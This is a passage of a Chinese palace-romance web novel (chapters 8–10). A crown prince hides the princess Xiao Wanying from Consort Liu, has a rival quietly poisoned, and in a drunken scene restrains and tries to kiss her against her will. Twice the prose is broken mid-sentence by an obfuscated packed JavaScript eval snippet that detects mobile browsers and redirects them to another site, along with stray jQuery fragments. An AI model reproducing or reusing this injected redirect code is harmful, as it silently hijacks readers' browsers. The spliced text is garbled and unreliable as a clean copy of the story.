她一刻都等不了了,杀到朝华殿,要杀了萧晚滢,却扑了个空,得知萧晚滢藏在东宫,急匆匆来东宫要人。 豫州大捷,太子手握军权,在民间的威望甚高,东宫如日中天,她自然要避其锋芒,不能直接与太子作对。 平南王深受魏帝宠爱,之藩徐州,但大魏迷信皇三子的神话,朝中不少大臣和先帝老臣都选择支持三皇子。 朝中势力与太子平分秋色,唯独少了世家的支持。 只要萧珩能交出萧晚滢,这种表面上的和平也可一直持续下去。 可太子却丝毫不将她放在眼里,将她晾在这里等了整整一个时辰,让她十分窝火。 “不管了,先闯进去了再说,” 只要抓住了萧晚滢,坐实了她害自己儿子的罪行,便是萧珩也无话可说。 门口的守卫拔刀阻拦。 刘贵妃大怒。 她今日早就有所准备。 那些守卫武艺再厉害也不过是奴。她是贵妃,是主子,那些奴才,也不敢真的对她动手。 她拔出手中的剑,直指守卫,“你们胆敢以下犯上不成!” 那些守卫果然不敢真的伤了刘贵妃,被逼得步步退让。 一道冰冷的声音传来,冷冽如冬日寒冰。 “刘贵妃当真要拔剑擅闯吗?” 萧珩轻抬眼眸,“贵妃可有想过后果,当真能承受得起吗?” 太子平定起义军,立下大功,如今军权在握,西山大营十万将士听太子号令,她要闯宫,十万将士也不答应。 太子背后是世家的势力,就连魏帝也不敢公然与世家对立,而是采取以利相诱的策略,皇家历来选择和世家联姻,确保世家的地位,以安抚为主,若与世家为敌,萧隼莫说是要争皇位了,怕是魏帝也保不住他,世家之间以联姻的方式,彼此联合,他们有田地,有部曲,还有私兵,甚至在历史上可以左右皇权的更迭,更可况萧隼只是皇子并非太子。 陈贵妃还不至于彻底失去了理智。 她的目的只是为了抓住那小妖女。 “妾并无此打算。” “妾今日只为请华阳公主去嘉福宫小坐,妾有几句话要问她。” 8.第8章 她到底是萧晚滢的庶母,是贵妃娘娘,庶母传唤小辈,贵妃召见公主,萧晚滢不能不去。 若萧晚滢敢不去,她便可治萧晚滢大不敬和忤逆之罪。 他日要是闹到皇上面前,太子亦无话可说。 萧珩却早已看穿了她的心思,淡然地道:“阿滢并不在东宫。” 太子直接将她的话堵死了,若是萧晚滢不在东宫,那便不是故意怠慢,不敬贵妃。 那一刻,刘贵妃差点暴跳如雷,指节都捏的泛白了。 太子不仅不将她放在眼里,这是将她当成个傻子糊弄。 宫里谁人不知,华阳公主每一次闯了祸,就会拿太子当挡箭牌,也正是太子屡次纵容,萧晚滢才会长成如今这般性子玩劣,不服管教的模样,仗着有太子的撑腰,无法无天。 更何况,昨夜大火,若是没有萧珩为她善后,又怎会在不殃及别宫的情况下,及时控制了火势的蔓延。 太子在这骗鬼呢! 偏偏萧珩还微微杨眉,“怎么?刘贵妃不信?可要进去搜?” 方才还执意要持剑闯宫的刘玉娥,如今面对太子主动邀请,她却有诸多顾虑,犹犹豫豫,止步不前了。 万一那小妖女真的没在东宫,万一她爱玩闹跑出宫去了,若没搜到人,恐怕明天,御史台参她的奏折就要满天飞了。 她虽是贵妃,但后宫不得干政。 要挟、威逼储君,搜宫的恶名,她哪一样都担不起。 她就不信了,萧晚滢一个大活人,还能人间蒸发了不成? 只要萧晚滢还在东宫,她就能找到蛛丝马迹,就能有办法将她揪出来,难道萧晚滢还能一辈子躲在东宫不出来,要知道萧晚滢大婚在即,她既是女子,那便要嫁人,皇上圣旨赐婚,萧晚滢能一辈子龟缩不出,萧珩还能护她一辈子吗? 刘贵妃咬了咬牙,“要是太子殿下见到华阳公主,便告诉她,本宫身为后宫之主,又怜她丧母,理应为她操办大婚事宜。顺便提醒她一句,她与卢二的婚期将近,也要收收性子,备嫁了。” 她既然能逼卢家退了这门亲事,便也能让卢家再接受这门亲事,便也能让卢家不待见萧晚滢,日后,她饱受卢家人的折磨,同样生不如死。 成玉长公主,魏帝的亲妹妹,不正是被婆家搓磨,腹中的三个孩子都没保住吗? 提及萧晚滢和卢家的亲事,萧珩脸色骤然一沉,那若寒星般的眼眸绽出冷厉的光。 但很快就恢复如常,仍是那副事不关己的冰冷面孔,“若孤见到阿滢,贵妃的话,孤一定带到。” 刘贵妃来东宫前,好大的阵仗,嘉福宫几乎全体出动,兴师动众上门要人,可连东宫的大门都未进得去,只能不甘心地空手而归。 突然,萧珩叫住了她。 “听说四皇子一夜未归,可需孤让大理寺帮着寻人?” “当真?”刘贵妃心中大喜,萧睿固然荒唐,但也是她亲生,她对萧睿的爱护之心,一点也不比对长子萧隼的少,比起收拾萧晚滢,她更在乎儿子的平安,她心存侥幸地想,万一萧睿还活着呢? 她几乎将整个京城都翻遍了,也没找到萧睿,但有大理寺出面可就不同了,大理寺有不少能断案的好手,在洛京找个人应该不在话下。 她用那满是感激和期待的眼神看向萧珩,“多谢太子殿下。寻人之事,还请殿下嘱咐大理寺暗中搜寻。” 当务之急是先找到她的睿儿,至于萧晚滢,等逼她出来,再慢慢收拾也不迟。 萧珩明白刘贵妃的意思,萧睿这些年的名声可不好听,闹出的事也不少,却都少不了刘贵妃为其在皇帝面前遮掩,在暗地里处理干净。 萧珩颔首。 刘贵妃带着一群太监宫女浩浩荡荡地离开了东宫。 眼见着一大群人浩浩荡荡地撤离,萧珩的眼神逐渐冷了才来,问辛宁,“可都妥善处理了?” 辛宁心想,太子表面上拒绝华阳公主的靠近,对公主冷漠,其实比谁都上心。 华阳公主一个眼神,便知道她想做什么,昨夜海棠别院的那场大火,他便已经猜到了公主做了什么,不仅如此,还要想方设法替她善后。 不管华阳公主闯了多大的祸,萧珩都会处理得天衣无缝,像华阳公主那样爱闯祸惹事的,也只有太子这般面面俱到,心思缜密的人才能应付。 想必是这样,华阳公主才会如此依赖太子殿下,时隔三年,华阳公主也要用尽手段,想方设法地回到东宫。 “殿下放心,属下已经处理干净。” 但见刘贵妃来者不善,辛宁隐隐有些担心,“属下觉得刘贵妃好像并不打算放过公主。” 萧珩冷声道:“那孤便让她自顾不暇。” 刘贵妃不是思念儿子吗?那他便将萧睿还给她,要是她敢动萧晚滢,也要让她尝尝肝肠寸断的滋味。 “吩咐下去,让大理寺那边明日就安排他们母子相见。” 辛宁了然,心想那母子相见的画面一定会让刘贵妃印象深刻,终身难忘。 “另外,孤还有一件事吩咐你去做。”萧珩又道:“让楼星旭病个十天半个月。” 楼星旭也是当年太子挑选伴读之一。 当年太子选中的伴读一共有四人,崔氏的孪生兄妹,还有楼星旭和楼无双两兄妹。 辛宁震惊道:“殿下是想让华阳公主顶替楼星旭成为您的伴读。” 原来,太子早已有了应对之策,他在告知刘贵妃,萧晚滢不在东宫时,便已经为萧晚滢安排好了去处。 楼星旭的父亲楼正安作为这场平定起义军的先锋,却在与熊平对阵前心生胆怯,见对方二十万大军,兵力远超我军,便心生畏惧,临阵脱逃,导致大魏将士未战而军心涣散,这场豫州平定义军之战,殿下以八万将士对战二十万起义军,赢得实在艰难,太子殿下为了扭转战局,付出了太多,受了很严重的内伤,差点死在战场之上。 楼公子有此劫难,都是拜父亲所赐,父债子偿,天经地义。更可况,太子饶了楼将军性命,便已是天大的恩赐。 再说那楼星旭是洛京闻名的小霸王,倘若他一病不起,洛京的百姓,心中也会感激太子为他们做了好事。 至于让楼星旭一病不起的办法,辛宁将一包无色无味的毒药交给了下属,中此毒者不易察觉,犹如生了一场大病。 楼家若想要解药,更不敢声张。 萧珩似想到了一件事,“若有人将阿滢在东宫的消息泄露半句,孤绝不轻饶。” 辛宁拱手道:“是,属下这就吩咐下去,在东宫的只有楼公子,并无华阳公主。” 当天晚上,文惠便为萧晚滢送来了一件男子的衣袍,“如今刘贵妃正到处找公主,殿下为了公主的安危着想,让公主换上男装,从今日起,做男子打扮。” 萧晚滢正在慢条斯理地涂蔻丹。 她的手指生的极美,十指纤纤,雪白若葱段,指甲是好看的粉色,只是那大红的蔻丹过于艳丽,那般浓艳偏俗气的颜色有些不适合她。 萧晚滢专注涂蔻丹,没有理会文惠,文惠便又重复了一遍。 “啊!那老虔婆走了啊!” 这是答非所问。 看来她的计划成功了。 否则,刘贵妃又怎甘心轻易放过她。 文惠跪着将手中的衣裳呈上,又说了一遍,“请公主换上衣裳,殿下说了,今后公主便以伴读的身份留在东宫,眼下虽然贵妃娘娘走了,但她恐怕不会轻易便放过公主,殿下也是为了公主好。” “本宫知道他是为了我好。” 她嘴唇弯弯,明亮的眼眸凝出笑意,这句话她喜欢听。 文惠先前就在西华院中服侍华阳公主的人,之前公主虽然有时候会对太子耍些小脾气,但更多的时候是妹妹对兄长的撒娇,可没想到当三年后,华阳公主再次住进西华院时,变得尖锐,难以捉摸,爱捉弄人,就像是变了一个人。 可在极少的时刻,她还能见到华阳公主柔和的一面,就譬如现在,当她提及太子是为了她好时。 可令文惠想不到的是,萧晚滢用一根手指勾起那件衣裳,颇为嫌弃地说道:“什么臭男人的衣裳,也配让本公主穿在身上。” 文惠赶紧解释,“这套是全新的,并未有任何男子穿过的。” 可她话音未落, 萧晚滢将手一松,那件衣裳便掉在了地上。 她起身,好似并未看到那件锦衣,直接踩了过去。 文惠:“……”觉得头有些疼,华阳公主太难伺候了。 “要本宫穿也行,除非……” 文惠问道:“除非什么?” 萧晚滢轻笑一声,“本宫不与你说,让冯成滚过来见本宫。” 文惠顿觉头痛得紧,她想收回方才说华阳公主有乖巧的一面那句话话,华阳公主可太难伺候了。 “殿下说,您既然要留在东宫,便不得离开东宫一步,也不能见任何人。” 萧晚滢从玉枕下摸出一块碎瓷片,抵在自己的颈上,笑道:”本宫现在可以见冯成了吗?” 文惠吓得脸都白了,太子下令将华阳公主禁足于此,想必已经猜到了公主不会安分,更怕她会做出什么过激的举止伤害自己,事先让肖校尉派人搜过屋子,将所有锋利之物都拿走了,屋子里连一个瓷瓶都没剩下。 可毕竟是公主的床塌,肖校尉也不便去碰,更怕自己手下的那些莽夫冒犯公主,惹了公主发怒丢了小命,肖校尉是出了名的维护自己的手下,故并未让那些人去搜华阳公主的床塌。 再说寻常人谁会将瓷片藏在枕头底下,日日枕着入眠,也不怕伤了自己。 但显然华阳公主就非寻常之人。 “公主不要激动,更不要伤了自己,奴婢这就去叫冯成。” 萧晚滢冲着文惠甜甜一笑。 好了,目的达到。 冯成听说华阳公主要见他时,他差点将怀中的橘猫头顶的那撮毛给薅了下来,今日轮到旁人守夜,公主也被太子下了禁足令,他想着应该可以消停了一段时日了,可没想到,不到半个时辰,那小祖宗又开始闹了。 虽然他知道此番前去,公主又会想尽办法折腾他,但他也是真心疼爱公主,哪里舍得萧晚滢受到一丝一毫的伤害。 故他匆匆赶到西华院,好言哄着,“公主啊,您到底要如何才能将那般危险之物交给奴,您是千金之躯,莫要伤到您自给儿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821458|190486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧晚滢轻抬眼皮,“听说太子哥哥受伤了?” 冯成想到太子的吩咐,摇了摇头,“那没有的事。殿下此次出征格外顺利,那些起义军听说是殿下领兵,都望风而逃,再说就凭那些乌合之众,又怎能伤得了殿下。” “看来太子哥哥不仅受了伤,还伤的不轻。” 冯成:“……” 既然不信他的话,公主为何又要问他。 天知道他应付这小祖宗到底有多难啊! “本宫要去探望太子哥哥。” 冯成想也没想就直接拒绝,太子殿下下了禁足令,不许华阳公主离开西华院半步。 “太子殿下不许公主出西华院……” 萧晚滢笑道:“所以本宫来找你了。你是东宫总管,就连肖校尉也要给你面子。” 冯成哭笑不得,“公主殿下怎会认为奴会帮您出去?” “你会的。”萧晚滢十分肯定地说道。 冯成摇头,“太子殿下的命令不容违抗,请恕奴不能帮公主。”他这堆老骨头,可吃不起太子的军棍。 华阳公主能违抗太子的命令,不会被处罚,但他这些做奴才的可没那般的待遇。 “哦。”萧晚滢懒洋洋地答道,将手中正在把玩的碎瓷片放在桌上。 冯成也总算是松了一口气。 试探性的去抓那块碎瓷片,见华阳公主没有任何举动,他拿过那块瓷片,惴惴地藏在袖中。 萧晚滢将他的举动尽收眼底,也不加阻拦,而是不死心地道:“你会的。” “不然我就去告诉红绡。说你每天偷看她八百回,说你喜欢她。” “你你你……”冯成涨红了面皮,一时语塞。 红绡是太子姨母淑妃身边的掌事宫女,太子时常入宫给淑妃请安,一来二去,冯成便相中了红绡。 身边不少太监和宫女结成对食,他便也动了心思。 他本是残缺之人,无儿无女,在深宫熬了大半辈子了,渴望像正常男子那样,也能有个伴,能有个家。 当初崔皇后疯了,崔家将崔皇后的亲妹也送进了宫。 只不过小崔氏入宫后,并不得魏帝喜欢,很快就冷落在一旁,但还是给了一个淑妃的名分。 小崔氏与的崔皇后有八分相似,为人温柔慈爱,太子殿下从小缺少母爱,小崔氏的关爱便能弥补一些他心里关于母爱的空缺,太子好像对这位小姨的感情更深些。 红绡是小崔氏的陪嫁丫鬟,她温柔体贴,成熟稳重,满足冯成心中关于妻子的所有幻想。 可却不敢表明心意,只是经常给锦绣宫中的宫女们都带些漂亮的珠花,顺带着送红绡一些首饰,他只敢偷偷地,远远地看她。 没想到他心里的秘密竟被萧晚滢知道了。 “公主就别打趣奴了。” 萧晚滢道:“那你不喜欢红绡?” 冯成摇了摇头。 “那本宫就让父皇将她许配给汪福荃。” 那汪福荃是魏帝身边的大太监,但为人刁钻狠辣,好折磨女人,对红绡觊觎已久,若是红绡落在她的手里,便没了活路了。 冯成脸色一白,赶紧跪下,“求公主高抬贵手。” 萧晚滢笑了笑,眼眸弯弯,灿若星辰,“本宫只是担心兄长的伤势,想去看看他,难道冯公公就不能成全本宫对兄长的拳拳关切之心?” “本宫保证只站在皇长兄的寝宫外,远远地看他一眼。” 不知怎的,冯成听到萧晚滢的话心中有些酸酸的。真心惦记担心一个人的感觉他最清楚不过的。 他们兄妹情深,心中自然是百般牵挂对方,太子不正是怕她担心,这才故意隐瞒受伤吗? 不过,很快冯成就后悔自己的一时心软了。 萧晚滢一到东宫,便失控了,居然在他的眼皮子底下,爬到了殿下寝宫外的那棵垂丝海棠树上。 又轻巧地借助一枝蔓延至窗棱的花枝,翻窗进了太子的寝宫,如此轻车熟路,就好像她做过很多回,在冯成目瞪口呆之中,轻巧地溜进了太子的寝殿, 还爬上了太子殿下的床榻。 冯成急的在原地跺脚,但他又不敢声张,生怕将殿下引了来。 突然,有人一掌拍在冯成的肩膀上。 “冯公公在这里做什么?我记得今天并不是公公当值啊!”说话的是辛宁。 但他一抬头便见到了那张冷峻俊美的脸。 太子殿下冷冷扫了他一眼。 冯成吓得一颤,赶紧低下头,掩饰内心的慌乱,“奴担心殿下的伤势,特与人换了值,为殿下守夜。” 辛宁道:“没想到公公这般敬业,对殿下这般忠心,真是我等楷模。” 不知为何,冯成觉得太子看他的眼神更冷了。 冯成心想,糟糕,他可被华阳公主坑惨了。 但太子却只是冷冷看了他一眼,便大步往寝房走去。 这到底是发现了,还是没发现? 冯成的心中越发不安,他赶紧捂着肚子,故作呻吟几声。 辛荣问道:“冯公公这是怎么了?” 冯成:“肚子疼,我去方便方便。” 战争一触即发,还是先溜为上。 9.第9章 萧晚滢爬上萧珩的床榻,藏在锦被之中,她打算来个突然袭击,趁萧珩不备,快速脱了他的衣裳检查,看他到底哪里受伤,伤的严不严重? 她猜到萧珩受伤,是因为崔媛媛割破手腕,以血抄写经书,想献上那枚还没来得及送出的护身符。 眼下萧珩都大捷归来了,崔媛媛迟不送,晚不送,偏偏挑这个时候跑来送什么护身符,大献殷勤,这中间必有古怪。 还有那日,萧珩将她丢进浴桶,她报复他,将他也弄湿后,他们双双跌入浴桶,闻到他身上那股若有似无的血腥气。 听到门口有脚步声传来。 萧晚滢头往被子里缩。 她小心屏住呼吸,紧张得手心冒汗。 心想待会扒了他的衣裳,萧珩会不会生气? 但她了解萧珩的性子,越大的事,他越是表现得云淡风轻,毫不在乎。 就像当初他为了护住自己遭崔皇后一顿毒打,连站都站不稳了,却硬是一声不吭地强忍着,还温声安慰她没事。 他面上依然云淡风轻,分明连挣扎的力气都没了,那时萧晚滢强行扒掉他的衣衫,果然见他背上皮开肉绽,那一道道错乱交织的血淋淋的伤口。 她一边为他上药,又心疼又生气,“萧珩,你是傻子吗?伤成这样,还说不疼。” 萧珩仍是摇头,只是笑着说,“还好不是打在妹妹身上。” 为他上了药,看着他睡着,萧晚滢深深看了萧珩一眼,便往外跑去。 她打算自投罗网,去找崔皇后。 自从被崔皇后强行带到含璋殿,她每天都活在阴影之中,但她越是害怕,崔皇后越是像噩梦般如影随形。 她怕疼,怕整晚整晚做噩梦,更怕被关进那漆黑的废弃偏殿中,叫天天不应,叫地地不灵。 她睁着眼睛,从天黑坐到天亮,听到一点点风吹草动,她都像惊弓之鸟,吓得瑟缩着身体,不敢闭眼。 崔皇后发疯病的时候更可怕,她一改平日的暴躁狰狞,好似换了一个人,抱着她,却唤着亲生女儿的名字,还做出许多母女间才有的亲密举动。 萧晚滢的内心是抗拒的,但害怕让她忘记了反抗,一动不动地任由崔皇后抱着,甚至学会了虚以委蛇,甜甜地唤她娘亲。 她贪生怕死,只想活着。 所以在萧珩站在她前面,为她挡住崔皇后的毒打,本能的害怕,让她缩在萧珩的身后,逃避伤害。 可萧珩为了她,一次次挨打,却哄着她说没事。 他将她藏在衣柜中,将她藏在床底下,为了不被皇后找到,他带她躲到假山洞中,彻夜不眠,只为守着她。 直到她见到了他背上新旧交织的伤疤,那个为她遮风挡雨,拼命守护她的哥哥,倒在了她面前。 人心都是肉长的,尽管她再自私,再贪生怕死,她也终于不再畏缩在角落,决定为了在乎之人拼命。 连她自己都没意识到,有什么东西已经悄然变了,更没意识到胆小如她,也能为了萧珩披上坚硬的铠甲去战斗。 她知道跑出去的后果,知道崔皇后会怎样折磨她,但这样,崔皇后就不会将气都撒在了萧珩的身上。 但萧珩虚弱地睁开了眼睛,拉住了她,“妹妹,别走。” “别离开我。” 萧珩病了,发起了高烧,她边哭边学着像他平时照顾自己那样照顾他。 她怕极了,怕失去萧珩,怕从此只剩她一个人落在阴暗的深渊,她一动不动地坐着,整夜不敢阖眼。 她累极了,也困极了,直到第二天天亮,萧珩退了烧,她才安心地趴在他的身上睡着了。 但当她醒过来,发现崔皇后发疯惹怒了皇帝,被关起来了,后来皇后再也没被放出来,之后,便听说崔皇后得了怪病,不治身亡,萧晚滢的母亲被册封为皇后, 噩梦结束,她终于得以解脱。 此刻,萧晚滢躲在被子里,心中忐忑地想,只要让萧珩觉得她还是那个乖巧的,需要人保护的小女孩,萧珩就会像从前那般拼了命地护住她。 所以这一次,她选择主动对萧珩示好,表现得乖一点,她带来了最好的伤药,心想他定会原谅自己。 她有信心,太子哥哥会和她和好如初的。 脚步声越近,萧晚滢赶紧藏好。 为此,她还特意吹灭了寝房的灯烛,更方便她在暗中动手。 萧晚滢心跳也随着那越来越近的脚步声,骤然变得急促。 来人坐在了塌边,耳边传来了窸窸窣窣的脱衣的声音。 萧晚滢往日虽然也胡闹,偷偷溜上皇兄的床塌,但那时她本就年幼,并无什么男女大防的概念。 更何况,萧珩总是一副清冷禁欲模样,就连领口的玉扣都要扣到最顶上。 哪像今日这般,一言不发,就开始脱衣裳。 大概是他并不知她就藏在他的床榻上,还暗中窥探。 可这种感觉与年少时扒萧珩的衣裳又有些不同。 一则是他们都长大了。 皇兄如今身形挺拔,虽看上去偏清瘦,却是肩宽窄腰,双腿修长,强健有力。 二则她已知道和眼前的男子并无血缘关系,他并不是她的亲皇兄。 她不得不正视眼前的少年,脱衣后的他异常强健,少年人年轻的身体,血气方刚。 寝殿中虽然没有照亮的灯烛,但今夜有月光,清冷的月光透过窗子照进殿中,虽不如灯烛明亮,但也足够看清。 萧晚滢将被褥轻轻下拉,只露出一双眼睛,正好看到萧珩褪去了外袍,里衣半褪,露出紧实的肩背肌肉。 不知怎的,萧晚滢的脸突然就红透了。 没想到皇兄平日看着清瘦,身材却这般好,每一块肌肉都恰到好处,线条紧实,强健有力,宛若白玉雕刻。 她觉得有些热,在被中深深呼吸。 而这时萧珩脱衣裳的动作却突然停了,仍然背对着她,“不是想勾引孤吗?表妹。” 原来萧珩竟然知晓床榻上有人,还把她当成了崔媛媛。 因为是崔媛媛,所以他才会如此宽容,今日帮她解围,而现在即便她爬了床,萧珩也不忍心责怪她。 亏得她还如此在意他的伤势,萧晚滢气鼓鼓地想,就让他受伤疼死好了。 她正要掀开被子出去。 萧珩却突然躺下,侧身,面朝着她,长臂一伸,直接压在了她的胸前,阻止她逃走。 沉重的手臂下压,萧晚滢胸口一滞,骤然被压制,她无法动弹,想骂人。 但他的唇靠自己的颈侧,那轻柔的呼吸擦过她的颈侧,痒痒的。 正因为离的如此近,萧晚滢能清晰地闻道他身上的那股令人安心的竹叶清香。 小时候,萧珩背着她时,她便趴在他的背上,闻到他身上的那股竹叶清香,便觉得十分安心。 除了竹叶香,今日他身上还有一股酒气。 萧珩竟然喝酒了。 这是醉酒失控,醉昏了头,将她认成了崔媛媛。 “怎么,表妹难道是想要孤主动吗?” 萧晚滢真想用水将他泼醒,让他睁大狗眼看看,她到底是谁。 萧晚滢想要推开他的手臂起身,却没推动。那双大掌便隔着被褥,紧紧扣住了她的腰。 萧珩却欺身而上,将她压在身下。 萧晚滢懵了一瞬,男女力量悬殊,萧珩身体高大强健,被他压着,动弹不得。 虽然她和萧珩中间隔了一层被褥,但她还是感觉到他身上的滚烫灼热。 她又羞又脑,一种异样的感觉涌上心头。 她和萧珩离得如此近,呼吸交织,现下正值三月,洛京的春天,处处透着寒凉。 萧晚滢却觉得身上无一处不发烫。 她的腰被紧紧地箍在大掌之中,她挣扎,反抗不得。 “怎么,想逃?不是你爬上孤的床的吗?现在后悔了?” 她想要抬腿踢他,萧珩像是猜到了她的举动,双腿压着她的腿。 萧晚滢从未觉得萧珩如此可怕。 男女力量的悬殊,萧晚滢动弹不得,从前萧珩事事护在她身前,在她的心中,哥哥就像是屹立不倒的山,她觉得哥哥无所不能,可没想到,他竟强大到这般地步,她连反抗都不能。 那个一直照顾她,护着她的哥哥,对她有求必应的哥哥,突然好像变了一个人,变成了一个强硬可怕的,占有欲极强的陌生男人。 确切来说是萧晚滢见到了萧珩作为男人的一面,一个被情欲左右的男人,极具侵略性男人,霸道,强大,不容抗拒。 他俯身,去寻找她的唇,亲吻下去。 薄唇覆上来的那一刻,萧晚滢感觉脑中被什么猛地撞击了一下。 他是哥哥!他怎么可以这样对她! 她偏头躲开了那个吻,怒道:“萧珩,你无耻!” 萧晚滢不能动弹,仰颈一口咬在了萧珩的耳垂上。 萧珩一怔,浑身一颤,周身血液往上涌,控制不住地战栗发抖。 但也终于松开了手,解除对她的禁锢, 萧晚滢趁机逃脱,赶紧跑下床去。 可双足还未下地,身子突然悬空了,萧珩长臂一揽,一把将她捞了回来,再次把她压在身下。 这回没了那层被褥,她和萧珩紧紧相贴。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16826199|190486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 萧晚滢气得想骂人。 却被萧珩紧紧地抵住双腿。 萧珩像一张巨大的网。将她彻底的罩住,她越是挣扎,萧珩越是收紧。 他薄唇轻张。 “乖。” 在她的耳边含糊地吐出一个字。 而后俯身,唇瓣贴近,去找她的唇,这一次为了防止萧晚滢再逃,他虚虚地握住她的细颈, 唇从自己的手再往上吻。 在千钧一发之际,萧晚滢哭出声来,“皇兄,你疯了!” 那声“皇兄”让萧珩骤然清醒,像是看清了身下颤抖的女子,就像是在风雨中抖动的含露海棠花。 他身体僵了一瞬,倒在床上,怒道:“滚出去!” 萧晚滢吓坏了,喘息不已,急忙跑出了太子的寝殿。 身后还传来了萧珩的笑声。 萧晚滢惊得面色苍白,喃喃念道:“真是疯了!” * 萧晚滢从太子寝宫跑出来,差点和崔媛媛撞个满怀。 只是她丝毫没在意崔媛媛那惊讶的,满是怨毒的眼神。 珍珠见萧晚滢头发凌乱,衣衫不整,赤足从太子寝殿跑出来时,也吓了一跳。 赶紧上前,将披风盖在萧晚滢的身上,萧晚滢快要站不稳了,低声对珍珠说,“你扶着我。” 崔媛媛将眼神从萧晚滢身上移开,对萧晚滢行礼。 “臣女见过华阳公主。” 萧晚滢像是没听见,并未理会,裹紧身上的衣袍,头也不回地离去。 白天,崔媛媛从太子的书房中拿走了一幅画。 回到厢房,悄悄地将那幅画展开一看,那是一幅春日海棠。 不过是一幅寻常画作。 唯一不寻常的是太子擅画,师从名家,画技出众,画上这含苞欲放的海棠花上还沾染着晶莹的露珠,宛若枝头初绽。 朝露也看了好几遍,着实看不出这画里有什么文章。 “小姐会不会想错了?这不过是一副再寻常不过的画作。东宫里便种了许多这样的海棠花,或许太子只是单纯喜欢海棠花,喜欢画海棠罢了。” 崔媛媛皱眉凝思了片刻,“画的是女子衣衫上的刺绣。” 那些海棠花是用笔模拟丝线在画纸上画成。 这副春日海棠花图,其实是女子衣衫上的刺绣海棠花样。 崔媛媛几乎将那画纸捏皱了,原来太子心里藏着一个女人。 但那女人到底是谁? 她从不曾见到太子与旁的女子亲近,太子竟将那女子藏的那般好。 她搜肠刮肚都想不出太子心里的女人到底是谁,甚至他身边都没有别的女人。 她脑中浮现出一个荒唐的想法,华阳公主素来与太子亲近,总不会是华阳公主吧?毕竟他们是兄妹。 她压在心中的烦躁,亲自为太子熬了一碗参汤, 即便她知道太子心着藏着别的女人,但她也不能坐以待毙,毕竟按照世家和皇室达成的默契,太子妃的人选只能是她。 自太子及冠之后,崔家年年都请淑妃娘娘当说客,去探太子的口风。 可太子都没松口应下这门亲事。 往日,她不知太子心有所属,心想只要真心付出,终有一天会打动太子。 她要揪出那个女人,悄无声息地处理了,还要让自己尽快地成为太子妃。她要想办法让太子尽快地应下这门亲事。 不管怎样,今日太子为她解围,那便是一个好的开始。 她去太子寝宫送汤,却被辛宁拦在寝房外。 “殿下已经睡下了,崔大小姐请回吧!” 崔媛媛掩盖住眼神中的失落,本打算离开,却忽然想起一件事来,便问道:“辛将军,不知发生了何事?东宫的守卫好像多了不少人。” 辛宁看了崔媛媛一眼,道:“这是殿下的安排,不便透露。对了,殿下吩咐,任何人都不得出宫,殿下已经让人告知了崔相,说崔小姐会在东宫小住几日。” 虽然崔媛媛巴不得和太子日日相处,自然是极愿意留在东宫的。 但她所在的景明院却多了许多守卫,就连传个消息都不能够。 她疑心东宫定然发生了什么大事。 到底是什么事让萧珩增派守卫,还不让她出去? 而在这时,太子寝宫突然传出了动静,只见萧晚滢神色慌乱地从太子寝宫中跑出来。 太子不是睡下了吗?那萧晚滢又怎会从那里面出来。 直到她看到了衣衫不整的萧晚滢,顿时面色惨白,手中的补汤都差点端不住了。 浑身冰凉,好似坠入无底深渊。 10.第10章 次日,发生了一件震惊洛京的大事。 大理寺在那条通往城外的护城河的河岸边发现了一具尸体,尸体已经被野兽撕咬得残缺不全,但从身上被咬烂的锦衣华服和腰间悬挂的玉玦玉佩,判断死者就是当今圣上的第四子,萧睿。 事关重大,大理寺卿清晨便将消息递呈皇上,刘贵妃知道四皇子的死讯,当场就晕死过去。 被太医救醒后,刘贵妃顾不得换上精致的华服,用精致的妆容遮掩略显老态的疲惫面颊,便急匆匆赶往大理寺。 若说她之前还有几分侥幸,觉得是大理寺弄错了,可当她发现尸体那被野兽啃咬得残缺不全的右脚脚心上那颗黑痣之时。 她再也忍不住嚎啕大哭起来。 尸体被河水泡了一夜,又被野兽啃咬,变得腥臭肿胀不堪,她哭了一会,忍不住开始呕吐。 宫女绫香不忍贵妃如此悲伤痛苦,劝说道:“娘娘,莫要忧伤过度,伤了自个儿的身子,眼下还是赶紧揪出四皇子是被何人所害,为四皇子报仇要紧。” 刘贵妃点了点头,顾不得已经哭花的妆容,赶紧将大理寺卿裴留唤到跟前。 “四皇子定是被华阳公主那贱人所害,本宫命你们抓住杀人凶手,本宫定要杀了她,为睿儿报仇!” 裴留撩袍跪下,等刘贵妃发泄完,才道:“下官以为,华阳公主并非是杀害四皇子的凶手。” “四皇子乃是酒后坠河溺亡,并非被人杀害。” 刘贵妃歇斯底里,怒吼出声,“你在胡说什么!” * 清早,辛宁将裴留递来的大理寺的卷宗拿给萧珩过目。 萧珩披散着长发,坐在榻上,一脸寒霜。 榻上凌乱不堪,他的亵裤明显湿了一大片。 辛宁瞬间便明白了什么,脸一红,诧异地道:“殿下这是?” 萧珩揉捏眉心,起身下床,走到屏风后,将弄脏的亵裤换下。 “最后一次了。” 昨夜也是他最后放纵一回。 借着酒劲做自己一直想做却又不敢做的事。 若不是萧晚滢的及时唤出的那声太子哥哥,他恐会亲她,甚至做出更加难以控制的荒唐事。 “她应该也不会再来找孤了。” 也好,若是他的阿滢日日在他身边晃,他恐怕哪天会彻底控制不住自己,彻底疯魔。 阿滢害怕了,便不会再来寻他。 “对了,近日刘贵妃有何动作?” 